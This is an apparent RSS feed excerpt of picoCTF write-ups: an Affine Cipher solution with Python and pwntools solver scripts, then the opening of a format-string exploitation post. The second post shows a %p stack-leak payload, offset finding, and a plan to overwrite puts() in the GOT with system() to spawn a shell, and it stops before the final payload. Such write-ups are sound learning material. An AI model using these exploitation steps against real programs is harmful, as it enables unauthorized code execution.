composed of gibberish, uppercase, lowercase, symbols, and numbers, as brute force method would most likely be ineffective in figuring out the secret in time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_E5yktRkZBH8dFNQxe7dzQ.jpeg" /></figure><blockquote><strong>Reference</strong></blockquote><ol><li><em>The Cuckoo’s Egg</em> by Cliff Stoll</li><li><em>Code</em> by Charles Petzold</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0fc397004822" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/guess-my-cheese-part-2-picoctf-2025-brute-force-attack-0fc397004822">Guess My Cheese (Part 2) — picoCTF 2025 — Brute Force Attack</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Guess My Cheese (Part 1) — picoCTF 2025 — Affine Cipher]]></title>
            <link>https://systemweakness.com/guess-my-cheese-part-1-picoctf-2025-affine-cipher-72df5b3a5f1e?source=rss-ed7b7375ab87------2</link>
            <guid isPermaLink="false">https://medium.com/p/72df5b3a5f1e</guid>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[affine-cipher]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[guess-my-cheese]]></category>
            <dc:creator><![CDATA[Jin]]></dc:creator>
            <pubDate>Wed, 30 Apr 2025 20:34:42 GMT</pubDate>
            <atom:updated>2025-05-06T17:16:29.994Z</atom:updated>
            <content:encoded><![CDATA[<h3>Guess My Cheese (Part 1) — picoCTF 2025 — Affine Cipher</h3><p><strong><em>Related Post:</em></strong><em> </em><a href="https://medium.com/system-weakness/guess-my-cheese-part-2-picoctf-2025-brute-force-attack-0fc397004822"><em>Guess my Cheese (Part 2)</em></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TjnKxhKnwYflXRbY_Cu28A.jpeg" /></figure><blockquote><strong>The initial investigation</strong></blockquote><p>At first, this problem had me guessing which crypto system it used. There was not much on the introduction, so I connected to the server via <em>netcat</em> per the instructions to find out more.</p><pre># Connecting to the server via netcat.<br>nc verbal-sleep.picoctf.net 49406<br><br>*******************************************<br>***             Part 1                  ***<br>***    The Mystery of the CLONED RAT    ***<br>*******************************************<br><br>The super evil Dr. Lacktoes Inn Tolerant told me he kidnapped my best friend, Squeexy, and replaced him with an evil clone! <br>You look JUST LIKE SQUEEXY, but I&#39;m not sure if you&#39;re him or THE CLONE. I&#39;ve devised a plan to find out if YOU&#39;RE the <br>REAL SQUEEXY! If you&#39;re Squeexy, I&#39;ll give you the key to the cloning room so you can maul the imposter...<br><br>Here&#39;s my secret cheese -- if you&#39;re Squeexy, you&#39;ll be able to guess it: JCDSEKECPMXDQKKECPMWLD<br>Hint: The cheeses are top secret and limited edition, so they might look different from cheeses you&#39;re used to!<br>Commands: (g)uess my cheese or (e)ncrypt a cheese<br>What would you like to do?</pre><p>It gave me the cipher to decrypt, and 2 options to choose from: <em>(g)uess</em> or <em>(e)ncrypt</em>. The cipher was <em>JCDSEKECPMXDQKKECPMWLD, </em>and it would be randomized at every run.</p><p>Just to test out the program, I entered “<em>e</em>”, and input a common cheese “<em>cheddar</em>.” The output was the encrypted version, <em>WHQTTCD.</em></p><pre># Entering &#39;e&#39; to encrypt cheddar.<br><br>...<br>What would you like to do?<br>e<br><br>What cheese would you like to encrypt? cheddar<br>Here&#39;s your encrypted cheese:  WHQTTCD<br>Not sure why you want it though...*squeak* - oh well!<br><br>I don&#39;t wanna talk to you too much if you&#39;re some suspicious character and not my BFF Squeexy!<br>You have 2 more chances to prove yourself to me!</pre><p>At first, I thought it had to be Caesar Cipher because “<em>cheddar</em>” was 7 letters and <em>WHQTTCD</em> was also 7 letters. So, I plugged the original encrypted message, <em>JCDSEKECPMXDQKKECPMWLD, </em>in to my decrypter program, but got nothing meaningful <a href="https://github.com/jinzohh/caesar_cipher"><em>(my decrypter program)</em></a>. Below was the result:</p><pre># Results from my Caesar Cipher decrypter program.<br><br>Please enter encrypted message:<br> JCDSEKECPMXDQKKECPMWLD<br><br><br># Output<br>...<br><br>Possible decrypted messages:<br><br>jcdsekecpmxdqkkecpmwld<br>Shift: 0<br>Direction: None<br><br>yrshtztrebmsfzztreblas<br>Shift: 15<br>Direction: Left<br><br>kdetflfdqnyerllfdqnxme<br>Shift: 1<br>Direction: Left<br><br>zstiuausfcntgaausfcmbt<br>Shift: 16<br>Direction: Left</pre><p>I also tried <em>WHQTTCD </em>to see if it would decrypt back to<em> “cheddar,” </em>but it didn’t. So, it didn’t seem like it was Caesar Cipher.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MFF3h3B1BaZCb0oO9vvEDQ.jpeg" /></figure><blockquote><strong>The solution</strong></blockquote><p>Then, I recalled that the hint stated, “<em>… affinity for linear equations…</em>” I began to suspect that it might be <strong>Affine Cipher</strong>, which took the form of a linear equation:</p><ol><li><em>y = m*x + b (mod 26)</em> <em>[encryption]</em></li><li><em>x = (y-b)/m (mod 26)</em> <em>[decryption]</em></li></ol><p>“<em>y</em>” would be the ciphertext and “<em>x</em>” would be the original text. It would be <em>mod 26</em> because there were 26 letters in the alphabet, and our ciphertext was in English.</p><p>In an Affine Cipher, each letter of the alphabet would be represented in incrementing order starting from 0. For example, the letter “A” would equal to 0, “B” would equal to 1, “C” would equal to 2, and so on until “Z” which would equal 25.</p><p>So, I connected to the server and encrypted “<em>cheddar,</em>” again, to examine the encrypted output. What I needed were 2 equations to solve for <em>m</em> and <em>b</em> to figure out the general linear equation. I needed to make sure to solve this in one go since the equation would be different for every new run of the program.</p><p><strong><em>Note:</em></strong><em> Some of the other cheeses that were recognized by the server were: “provolone,” “pecorino,” and “swiss.”</em></p><pre># Connecting to the server via netcat.<br>nc verbal-sleep.picoctf.net 49406<br><br>*******************************************<br>***             Part 1                  ***<br>***    The Mystery of the CLONED RAT    ***<br>*******************************************<br><br>The super evil Dr. Lacktoes Inn Tolerant told me he kidnapped my best friend, Squeexy, and replaced him with an evil clone! You look JUST LIKE SQUEEXY, but I&#39;m not sure if you&#39;re him or THE CLONE. I&#39;ve devised a plan to find out if YOU&#39;RE the REAL SQUEEXY! If you&#39;re Squeexy, I&#39;ll give you the key to the cloning room so you can maul the imposter...<br><br>Here&#39;s my secret cheese -- if you&#39;re Squeexy, you&#39;ll be able to guess it:  GYSJODDOLCPCG<br>Hint: The cheeses are top secret and limited edition, so they might look different from cheeses you&#39;re used to!<br><br>Commands: (g)uess my cheese or (e)ncrypt a cheese<br><br>What would you like to do?<br>e<br><br>What cheese would you like to encrypt? cheddar<br>Here&#39;s your encrypted cheese:  GNOXXYB</pre><p>The given ciphertext was <em>GYSJODDOLCPCG</em>, so, I noted this on the side.</p><p>Examining the encrypted ciphertext of “<em>cheddar</em>” which was <em>GNOXXYB, </em>I noted the numerical equivalents <em>(indices)</em>.</p><ol><li>C = G, or 2 = 6</li><li>H = N, or 7 = 13</li></ol><p>All I needed were 2 equations, so I was able to stop here. From the information above, I constructed 2 equations with 2 unknowns.</p><ol><li><em>6 = 2m + b (mod 26)</em></li><li><em>13 = 7m + b (mod 26)</em></li></ol><p>Solving for the systems of equations left me with:</p><p><em>y = 17x + 24 (mod 26)</em>, where <em>m = 17</em> and <em>b = 24</em>.</p><p>I made sure that this was the right equation by checking that it encrypted other letters of “<em>cheddar</em>” as shown in <em>GNOXXYB</em>. For example, I checked that letter <em>“e”</em> turned to <em>“o”</em> after encryption by plugging in:</p><ol><li><em>y = 17(4) + 24 (mod 26)</em></li><li><em>y = 14</em>, or the letter <em>“o”</em>.</li></ol><p><em>14</em> was, indeed, the index of <em>“o”</em> in the alphabet, so I confirmed that the equation was correct. But because I had to decrypt the given ciphertext, I needed to use the decryption equation instead, which was simply the inverse of <em>y = 17x + 24 (mod 26). </em>The exact decryption equation was calculated to be:</p><p><em>x = (y-24)/17 (mod 26)</em></p><p>From here on, I created a Python program to run a loop on the given ciphertext <em>GYSJODDOLCPCG</em> to plug in each letter into the decryption equation above.</p><pre># Python program for decryption of the given ciphertext.<br><br>import string<br><br># Initializing variables for ciphertext and the complete English alphabet.<br>x = &#39;GYSJODDOLCPCG&#39;<br>alpha = string.ascii_uppercase<br><br># Running a loop on x to decrypt each letter with the decryption equation.<br># Decryption equation: x = (y - 24) / 17 (mod 26)<br>result = []<br>for i in x:<br>    # Finding the index of each letter in the English alphabet.<br>    index = alpha.index(i)<br>    <br>    # With the index as the value of y, plugging it in to the decryption equation.<br>    # Modular arithmetic property: (a*b) mod n = [(a mod n) * (b mod n)] mod n.<br>    a = pow(17, -1, 26) * pow(index - 24, 1, 26)<br>    a = pow(a, 1, 26)<br>    result.append(alpha[a])<br><br>result = &#39;&#39;.join(result)<br>print(result)<br><br><br># Output<br>CASTELLENOBOC</pre><p>The decrypted cheese was <em>CASTELLENOBOC</em>, which wasn’t even a type of real cheese. But then again, I recalled the hint after connecting to the server in which it mentioned that <em>“… the cheeses are top secret… they might look different from cheeses you’re used to…”</em>, so I figured that the answer would be gibberish.</p><p>With this decrypted information, I entered “<em>g</em>” to guess, then <em>CASTELLENOBOC </em>and got<em> </em>the flag!</p><pre># Entering the decrypted cheese.<br><br>...<br>Commands: (g)uess my cheese or (e)ncrypt a cheese<br>What would you like to do?<br>g<br><br><br>   _   _<br>  (q\_/p)<br>   /. .\.-.....-.     ___,<br>  =\_t_/=     /  `\  (<br>    )\ ))__ __\   |___)<br>   (/-(/`  `nn---&#39;<br><br>SQUEAK SQUEAK SQUEAK<br><br>         _   _<br>        (q\_/p)<br>         /. .\        <br>  ,__   =\_t_/=   <br>     )   /   \      <br>    (   ((   ))   <br>     \  /\) (/\    <br>      `-\  Y  /    <br>         nn^nn<br><br>Is that you, Squeexy? Are you ready to GUESS...MY...CHEEEEEEESE?<br>Remember, this is my encrypted cheese:  GYSJODDOLCPCG<br>So...what&#39;s my cheese?<br>CASTELLENOBOC<br><br>         _   _<br>        (q\_/p)<br>         /. .\         __<br>  ,__   =\_t_/=      .&#39;o O&#39;-.<br>     )   /   \      / O o_.-`|   <br>    (   ((   ))    /O_.-&#39;  O |  <br>     \  /\) (/\    | o   o  o|   <br>      `-\  Y  /    |o   o O.-`  <br>         nn^nn     | O _.-&#39;      <br>                   &#39;--`         <br><br>munch...<br><br>         _   _<br>        (q\_/p)<br>         /. .\         __<br>  ,__   =\_t_/=      .&#39;o O&#39;-.<br>     )   /   \      / O o_.-`|   <br>    (   ((   ))      ).-&#39;  O |  <br>     \  /\) (/\      )   o  o|   <br>      `-\  Y  /    |o   o O.-`  <br>         nn^nn     | O _.-&#39;      <br>                   &#39;--`         <br><br>munch...<br><br>         _   _<br>        (q\_/p)<br>         /. .\         __<br>  ,__   =\_t_/=      .&#39;o O&#39;-.<br>     )   /   \      / O o_.-`|   <br>    (   ((   ))        )&#39;  O |  <br>     \  /\) (/\          )  o|   <br>      `-\  Y  /         ) O.-`  <br>         nn^nn        ) _.-&#39;      <br>                   &#39;--`         <br><br>MUNCH.............<br><br>YUM! MMMMmmmmMMMMmmmMMM!!! Yes...yesssss! That&#39;s my cheese!<br>Here&#39;s the password to the cloning room:  picoCTF{ChEeSyb3e5eba8}</pre><p>Flag:<em> picoCTF{ChEeSyb3e5eba8}</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7cd2WMLLCS3uqfXlDT5pMQ.jpeg" /></figure><blockquote><strong>Capturing the flag with pwntools library</strong></blockquote><p>After understanding the principles, I wanted to take an automated approach. So, I created a Python program using the <em>pwntools</em> library that would do all the calculations and fetch the flag in one go.</p><pre># Automated Python program with pwntools.<br><br>from pwn import *<br>import string<br><br># Initializing variables.<br>alphabet = list(string.ascii_uppercase)<br><br># Initializing host and port of the server.<br>HOST = &#39;verbal-sleep.picoctf.net&#39;<br>PORT = 49406<br><br># Connecting to the server.<br>s = remote(HOST, PORT)<br><br># Getting response after connection is established.<br>res = s.recvuntil(b&#39;would you like to do?&#39;).decode()<br>print(res)<br><br># Extracting ciphertext to decrypt.<br>ciphertext_begin = res.find(&#39;it:&#39;)<br>ciphertext_end = res.find(&#39;Hint:&#39;)<br>ciphertext = res[ciphertext_begin+5:ciphertext_end-1]<br>print()<br>print(&quot;The ciphertext is:&quot;, ciphertext)<br><br># Entering input &quot;e&quot; to begin encrypting &quot;cheddar&quot; to get the 2 equations.<br>print(&quot;\nSending &#39;e&#39; to encrypt &#39;cheddar&#39;&quot;)<br>s.sendline(b&#39;e&#39;)<br><br># Getting response after sending &quot;e&quot;.<br>res = s.recvuntil(b&#39;encrypt?&#39;).decode()<br>print(res)<br><br># Entering &quot;cheddar&quot;.<br>print(&quot;\nSending &#39;cheddar&#39;...\n&quot;)<br>s.sendline(b&#39;cheddar&#39;)<br><br># Getting response after sending &quot;cheddar&quot;.<br>res = s.recvuntil(b&#39;would you like to do?&#39;).decode()<br>print(res)<br><br># Extracting the ciphertext for &quot;cheddar&quot;.<br>cheddar_cipher_begin = res.find(&#39;:&#39;)<br>cheddar_cipher_end = res.find(&#39;Not sure why&#39;)<br>cheddar_cipher = res[cheddar_cipher_begin+3:cheddar_cipher_end-1]<br>print()<br>print(&quot;The ciphertext for &#39;cheddar&#39; is:&quot;, cheddar_cipher)<br><br># Constructing the 2 equations.<br># Linear equation form: y = mx + b (mod 26).<br>C_ind = alphabet.index(&#39;C&#39;)<br>c_ind_1 = alphabet.index(cheddar_cipher[0])<br>H_ind = alphabet.index(&#39;H&#39;)<br>c_ind_2 = alphabet.index(cheddar_cipher[1])<br><br>eq_1 = [C_ind, 1, c_ind_1]<br>eq_2 = [H_ind, 1, c_ind_2]<br><br># Solving the system of equations to calculate m.<br>m_1 = -eq_1[0] + eq_2[0]<br>m_2 = -eq_1[2] + eq_2[2]<br><br>if m_2 % m_1 != 0:<br>    m_3 = pow(m_1, -1, 26)<br>    m = pow(m_2 * m_3, 1, 26)<br>else:<br>    m = pow(m_2 // m_1, 1, 26)<br><br>print(&quot;\nm =&quot;, m)<br><br># Solving the system of equations to calculate b.<br>b = pow(eq_1[2] - eq_1[0] * m, 1, 26)<br>print(&quot;b =&quot;, b)<br>print()<br><br># Printing the full equation in y = mx + b (mod 26) format (encryption equation).<br>print(&quot;The equation is: y = &quot; + str(m) + &quot;x + &quot; + str(b) + &quot; (mod 26)&quot;)<br><br># Printing the inverse of this equation (decryption equation).<br>print(&quot;The inverse equation is: x = (y - &quot; + str(b) + &quot;) / &quot; + str(m) + &quot; (mod 26)&quot;)<br><br># Running a loop on ciphertext to decrypt each letter with the decryption equation.<br>decrypted = []<br>for i in ciphertext:<br>    index = alphabet.index(i)<br>    a = pow(m, -1, 26) * pow(index - b, 1, 26)<br>    a = pow(a, 1, 26)<br>    decrypted.append(alphabet[a])<br><br>decrypted = &#39;&#39;.join(decrypted)<br>print(&quot;\nThe decrypted text:&quot;, decrypted)<br><br># Entering the decrypted text to get the flag.<br>s.sendline(b&#39;g&#39;)<br><br>res = s.recvuntil(b&#39;my cheese?&#39;).decode()<br>print(res)<br><br>s.sendline(decrypted.encode())<br><br># If running on Webshell. Comment out if running on jupyter notebook.<br>s.interactive()<br><br># If running on jupyter notebook environment. Comment out if running on Webshell.<br>try:<br>    res = s.recvuntil(b&#39;}&#39;).decode()<br>    print(res)<br>except Exception:<br>    res = s.recvuntil(b&#39;!&#39;).decode()<br>    print(res)<br>    pass<br></pre><p><strong>However, I noticed that there were some instances where the decrypted cheese would not go through, especially when the ciphertext was on the longer side <em>(~15 characters or longer)</em></strong>. I wasn’t able to figure out why.</p><p>In any case, it seemed like the idea was to filter the problem and only work on it if the ciphertext was less than 15 characters long, because otherwise, I’d be wasting my time since the problem wouldn’t even accept the correct answer. The good news was that, with the automated Python program above, repeatedly solving the program to eventually get the flag would only take a few seconds max.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-yIMUo5w5j4gZI7Oj0LGKA.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=72df5b3a5f1e" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/guess-my-cheese-part-1-picoctf-2025-affine-cipher-72df5b3a5f1e">Guess My Cheese (Part 1) — picoCTF 2025 — Affine Cipher</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Format String 3 — picoCTF 2024 — GOT Overwrite]]></title>
            <link>https://systemweakness.com/format-string-3-picoctf-2024-got-overwrite-b941fbcd892e?source=rss-ed7b7375ab87------2</link>
            <guid isPermaLink="false">https://medium.com/p/b941fbcd892e</guid>
            <category><![CDATA[format-string-3]]></category>
            <category><![CDATA[global-offset-table]]></category>
            <category><![CDATA[got]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[picoctf]]></category>
            <dc:creator><![CDATA[Jin]]></dc:creator>
            <pubDate>Wed, 23 Apr 2025 04:39:54 GMT</pubDate>
            <atom:updated>2025-05-01T12:52:48.710Z</atom:updated>
            <content:encoded><![CDATA[<h3>Format String 3 — picoCTF 2024 — GOT Overwrite</h3><p>Another common method of attack through a format string vulnerability was overwriting the Global Offset Table <em>(GOT)</em>. I thought that I should get some exposure to this if I really wanted a solid understanding of format string vulnerabilities.</p><p>After figuring out how to construct a payload manually as discussed in my <a href="https://medium.com/@jinkim138/format-string-2-picoctf-2024-deep-dive-into-the-logic-behind-payload-construction-3acb72ea6cd8">last post <em>(format string 2)</em></a>, my overconfident self wanted to solve this next problem 100% manually, without <em>pwntools</em>. But, it wasn’t possible because of PIE <em>(refer to </em><a href="https://medium.com/@jinkim138/down-the-rabbit-hole-of-format-string-vulnerability-echo-valley-picoctf-2025-189f1cefed5f"><em>Echo Valley</em></a><em>, </em><a href="https://medium.com/@jinkim138/pie-time-2-picoctf-2025-ca481b91d209"><em>PIE TIME 2</em></a><em>, or </em><a href="https://medium.com/@jinkim138/pie-time-picoctf-2025-dbec42ba0857"><em>PIE TIME</em></a><em>)</em> being enabled for the <em>ld-linux-x86–64.so.2</em> and the <em>libc.so.6</em> files. This meant that the standard <em>libc</em> functions, e.g. <em>puts()</em>, <em>printf()</em>, <em>scanf()</em>, <em>system()</em>, <em>setvbuf()</em>, etc., would be randomized at every run. As a result, I would not be able to overwrite the GOT correctly in one go, i.e. using Python to pipe the payload into the <em>format-string-3</em> program. It meant that I would need to stay connected, calculate the address, deliver the payload, and then close the connection.</p><p>I tried looking for other ways, i.e. <em>socat</em>, etc., to stay connected without using <em>pwntools</em>, but because I had to connect to the server remotely to secure the flag, these alternative ways didn’t seem to help. For example, to execute the <em>format-string-3 </em>program and listen through a port using <em>socat</em>, I would need to open 2 terminal windows within the same network. I tried opening 2 Webshell sessions, but that didn’t work.</p><p>So, my last thought was to use <em>pwntools</em>, but craft the payload manually instead of using the <em>fmtstr_payload()</em> function. But, that seemed pretty stupid and a waste of time. After some thinking, I decided to drop my overconfidence and come back to being humble with a learning mindset by choosing to use this awesome library. Rather than the payload, I decided to focus on the workings of the GOT and find out why overwriting this table was a common technique for exploiting format string vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vx4rWXmF4iVlKc-nse0ZLg.jpeg" /></figure><blockquote><strong>The Solution</strong></blockquote><p>I began by downloading all the required files: source code, binary, dynamic linker, and the <em>libc</em> library. Then, I made the binary file into an executable.</p><pre># Downloading the files.<br>wget https://artifacts.picoctf.net/c_rhea/1/format-string-3.c<br>wget https://artifacts.picoctf.net/c_rhea/1/format-string-3<br>wget https://artifacts.picoctf.net/c_rhea/1/ld-linux-x86-64.so.2<br>wget https://artifacts.picoctf.net/c_rhea/1/libc.so.6<br><br># Changing binary file to an executable.<br>chmod +x format-string-3</pre><p>I tried running the binary for fun, but it ran into an error. To fix this, I also changed the dynamic linker file and the <em>libc</em> library file to executables.</p><pre># Changing dynamic linker file and libc library file to executables.<br>chmod +x ld-linux-x86-64.so.2<br>chmod +x libc.so.6</pre><p>As usual, I opened the source code in <em>nano</em> and read through it to spot where the format string vulnerability was present.</p><pre># Opening the source code in nano.<br>nano format-string-3.c</pre><pre>// format-string-3.c source code<br><br>#include &lt;stdio.h&gt;<br><br>#define MAX_STRINGS 32<br><br>char *normal_string = &quot;/bin/sh&quot;;<br><br>void setup() {<br>        setvbuf(stdin, NULL, _IONBF, 0);<br>        setvbuf(stdout, NULL, _IONBF, 0);<br>        setvbuf(stderr, NULL, _IONBF, 0);<br>}<br><br>void hello() {<br>        puts(&quot;Howdy gamers!&quot;);<br>        printf(&quot;Okay I&#39;ll be nice. Here&#39;s the address of setvbuf in libc: %p\n&quot;, &amp;setvbuf);<br>}<br><br>int main() {<br>        char *all_strings[MAX_STRINGS] = {NULL};<br>        char buf[1024] = {&#39;\0&#39;};<br><br>        setup();<br>        hello();        <br><br>        fgets(buf, 1024, stdin);        <br>        printf(buf);<br><br>        puts(normal_string);<br><br>        return 0;<br>}</pre><p>The format string vulnerability was in the <em>main()</em> function at <em>printf(buf)</em>;. As discussed in my previous posts, the correct way to write <em>printf()</em> function would be something like <em>printf(“%s”, buf); </em>because the 1st parameter for <em>printf()</em> would need to be a format specifier if an argument was a variable.</p><p>The next line after <em>printf(buf);</em> was <em>puts(normal_string);</em>. This would simply print the string value pointed by <em>normal_string</em> as declared at the beginning of the program, which was <em>“/bin/sh”</em>. The clue was the string <em>“/bin/sh”</em>. If it was <em>system(“/bin/sh”);</em> instead, it would open shell as part of the program, which would let me examine the current directory of the server and read the flag file.</p><p><strong>So, that was the main idea: to change <em>puts()</em> to <em>system()</em> from exploiting the format string vulnerability at <em>printf(buf);</em>.</strong> And typically, to overwrite an address of a standard function, I would need to overwrite the GOT because the GOT was what pointed to the read-only memory that contained the standard <em>libc</em> library functions <em>(discussion on the details of how GOT works within a program in the section at the end)</em>.</p><p>Overwriting the return address, which was utilized in <a href="https://medium.com/@jinkim138/down-the-rabbit-hole-of-format-string-vulnerability-echo-valley-picoctf-2025-189f1cefed5f">Echo Valley</a>, wouldn’t apply for this problem because return addresses on the stack were typically for program function calls rather than standard <em>libc</em> function calls within a program function.</p><p>Overwriting the address of the global variable, which was utilized in <a href="https://medium.com/@jinkim138/format-string-2-picoctf-2024-deep-dive-into-the-logic-behind-payload-construction-3acb72ea6cd8">Format String 2</a>, wouldn’t apply for this problem, either, because what I wanted to change was the <em>libc</em> function, itself i.e. <em>puts()</em>, rather than the value of the global variable, i.e. <em>normal_string</em>. And to be specific, <em>normal_string</em> was a global pointer variable that pointed to the memory that stored the string value <em>“/bin/sh”</em>. Overwriting this pointer would make it point to something else, which probably wouldn’t get the job done. In other words, I needed to utilize the value of <em>“/bin/sh”</em> with another standard <em>libc</em> function like <em>system() </em>to execute the shell command <em>/bin/sh</em>.</p><p>And of course, the main hint that indicated overwriting of the GOT was the challenge physically providing the <em>libc</em> library <em>(libc.so.6)</em> and the dynamic linker <em>(ld-linux-x86–64.so.2)</em> files.</p><p>To proceed, I needed to do one last check that <em>RELRO</em> was either fully disabled or just partially enabled. So, I ran <em>checksec</em> to make sure.</p><pre># Examining security system of the format-string-3 program.<br>checksec format-string-3<br><br># Output<br>    Arch:       amd64-64-little<br>    RELRO:      Partial RELRO<br>    Stack:      Canary found<br>    NX:         NX enabled<br>    PIE:        No PIE (0x3ff000)<br>    RUNPATH:    b&#39;.&#39;<br>    SHSTK:      Enabled<br>    IBT:        Enabled<br>    Stripped:   No</pre><p>After confirming that <em>RELRO</em> was partially enabled, I proceeded with a plan to overwrite the GOT.</p><p>I ran the binary in <em>gdb</em> a few times to examine how the program behaved.</p><pre># Running the binary in gdb.<br>gdb ./format-string-3<br><br>...<br>For help, type &quot;help&quot;.<br>Type &quot;apropos word&quot; to search for commands related to &quot;word&quot;...<br>Reading symbols from ./format-string-3...<br>(No debugging symbols found in ./format-string-3)<br><br>(gdb) r<br><br>...<br>warning: Error disabling address space randomization: Operation not permitted<br>warning: Expected absolute pathname for libpthread in the inferior, but got ./libc.so.6.<br>warning: Unable to find libthread_db matching inferiors thread library, thread debugging will not be available.<br><br>Howdy gamers!<br>Okay Ill be nice. Heres the address of setvbuf in libc: 0x7f12dea743f0<br>a<br>a<br>/bin/sh<br>[Inferior 1 (process 258) exited normally]<br><br>(gdb) r<br><br>...<br>Howdy gamers!<br>Okay Ill be nice. Heres the address of setvbuf in libc: 0x7f0acb1603f0<br>b<br>b<br>/bin/sh<br>[Inferior 1 (process 262) exited normally]<br><br>(gdb) r<br><br>...<br>Howdy gamers!<br>Okay Ill be nice. Heres the address of setvbuf in libc: 0x7f20dc7ca3f0<br>c<br>c<br>/bin/sh<br>[Inferior 1 (process 263) exited normally]</pre><p>As expected, the address of the <em>libc</em> function <em>setvbuf()</em> kept changing due to PIE being enabled for the <em>libc.so.6</em> file as shown below.</p><pre># Running checksec on libc.so.6.<br>checksec libc.so.6<br><br># Output<br>    Arch:       amd64-64-little<br>    RELRO:      Full RELRO<br>    Stack:      Canary found<br>    NX:         NX enabled<br>    PIE:        PIE enabled<br>    SHSTK:      Enabled<br>    IBT:        Enabled</pre><p>Because of this randomization, I needed to stick to using <em>pwntools </em>as there was no way to always know the address of <em>setvbuf()</em> to calculate the address of <em>system()</em>. The manual piping technique with Python from the Webshell couldn’t work because I would need to construct the payload before running the program.</p><p>So, I resorted to creating a Python program utilizing <em>pwntools</em> to complete this challenge. First, I needed to define the offset value, which would be the position on the stack that would overwrite with the input values as hex values. So, I ran the binary file and entered <em>AAAAAAAA</em> followed by a bunch of <em>%p</em> format specifiers.</p><pre># Running the binary file.<br>./format-string-3<br><br>Howdy gamers!<br>Okay Ill be nice. Heres the address of setvbuf in libc: 0x7fb6f8fdd3f0<br>AAAAAAAA%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p <br>AAAAAAAA0x7fb6f913b963.0xfbad208b.0x7ffd321d7120.0x1.(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).0x4141414141414141.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0x252e70252e70252e.0x2e70252e70252e70.0x70252e70252e7025.0xa70252e.(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil).(nil)<br>/bin/sh</pre><p>I saw <em>0x4141414141414141</em>, which was <em>AAAAAAAA</em> in hex format, at the 38th position. So, the offset was 38.</p><p>Next, I needed to find out the GOT entry address of the standard <em>libc</em> function <em>puts()</em> to overwrite this address with the address of <em>system()</em>. So, I ran the binary in <em>gdb</em>, again, and disassembled the <em>main()</em> function to find out the address where <em>puts()</em> was called.</p><pre># Running the binary in gdb.<br>gdb ./format-string-3<br><br>...<br><br>(gdb) r<br>...<br>Howdy gamers!<br>Okay Ill be nice. Heres the address of setvbuf in libc: 0x7fc6926263f0<br>a<br>a<br>/bin/sh<br>[Inferior 1 (process 275) exited normally]<br><br>(gdb) disas main<br>Dump of assembler code for function main:<br>   ...<br>   0x00000000004012ef &lt;+172&gt;:   mov    %rax,%rdi<br>   0x00000000004012f2 &lt;+175&gt;:   call   0x401080 &lt;puts@plt&gt;<br>   ...</pre><p>It was at <em>0x401080, </em>and this was the PLT <em>(Procedure Linkage Table)</em> entry address that jumps to the GOT entry address. 